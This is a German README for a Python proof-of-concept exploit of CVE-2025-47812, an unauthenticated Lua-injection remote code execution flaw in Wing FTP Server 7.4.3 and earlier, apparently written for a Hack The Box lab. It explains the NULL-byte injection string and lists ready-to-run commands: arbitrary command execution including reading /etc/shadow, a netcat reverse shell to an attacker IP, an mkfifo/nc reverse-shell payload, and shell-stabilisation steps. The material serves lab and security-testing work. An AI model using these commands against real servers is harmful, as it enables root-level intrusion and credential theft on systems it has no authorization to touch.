
CVE-2025-47812 Poc für wingdata HTB
Python-Exploit für die unauthentifizierte Lua-Injection RCE in Wing FTP Server ≤ 7.4.3. Entwickelt für Shell-Zustellung — ein Befehl von check zu einem funktionierenden Netcat-Callback.
Vor einiger Zeit für das wingData-Labor auf HTB geschrieben und jetzt quelloffen gemacht. Verwenden Sie dies nur gegen Systeme, die Ihnen gehören oder für die Sie eine schriftliche Erlaubnis zum Testen haben.
Wing FTPs c_CheckUser() kürzt den username beim ersten NULL-Byte für die Authentifizierung ab, aber der Sitzungserstellungspfad schreibt den vollständigen, unbereinigten Benutzernamen in eine Lua-Sitzungsdatei. Injizieren Sie anonymous%00]]<lua>-- und der Server schreibt Ihre Lua bereitwillig in die Sitzung. Das Aufrufen eines beliebigen authentifizierten Endpunkts (dir.html funktioniert) lädt diese Sitzungsdatei via loadfile() → f(), wodurch der injizierte Code als root / SYSTEM ausgeführt wird.
Betroffen: Wing FTP Server ≤ 7.4.3. Behoben in 7.4.4.
pip install requests
Das war's — keine weiteren Abhängigkeiten.
# 1. Confirm the target is vulnerable (runs `id` and checks for `uid=`)
python3 exploit.py -u http://target:5466/ check
# 2. One-off command — captures stdout AND stderr
python3 exploit.py -u http://target:5466/ exec "id"
python3 exploit.py -u http://target:5466/ exec "cat /etc/shadow"
python3 exploit.py -u http://target:5466/ exec "find / -perm -4000 2>/dev/null"
# 3. Reverse shell (the easy path)
# Terminal 1:
nc -lvnp 4444
# Terminal 2:
python3 exploit.py -u http://target:5466/ shell 10.10.14.5 4444
# 4. Detached arbitrary payload — fire-and-forget. Useful when bash is missing:
python3 exploit.py -u http://target:5466/ detached \
"rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.5 4444 >/tmp/f"
http://target:5466/login.html in einem Browser, bevor Sie annehmen, die URL sei falsch.shell-Modus keinen Callback liefert, weichen Sie auf detached mit dem obigen mkfifo-Payload aus. Manche minimale Linux-Images enthalten kein bash.python3 -c 'import pty;pty.spawn("/bin/bash")'
# Strg+Z
stty raw -echo; fg
# Enter, Enter
export TERM=xterm
Nur für Bildungszwecke und autorisierte Sicherheitstests. Sie sind für die Ziele verantwortlich, auf die Sie dies richten.
MIT — siehe LICENSE.
| Flag | Standard | Zweck |
|---|
-u, --url | erforderlich | Ziel-Basis-URL — Wing FTP hört normalerweise auf :5466 (HTTP) oder :5467 (HTTPS). |
-U, --username | anonym | Benutzername vor dem NULL-Byte. Anonym funktioniert bei Standardinstallationen. |
-P, --password | leer | Passwort für den Injection-POST. Leer ist für anonym in Ordnung. |
-v, --verbose | aus | Gibt das Lua-Payload, besuchte URLs und den rohen Antwortbody aus. |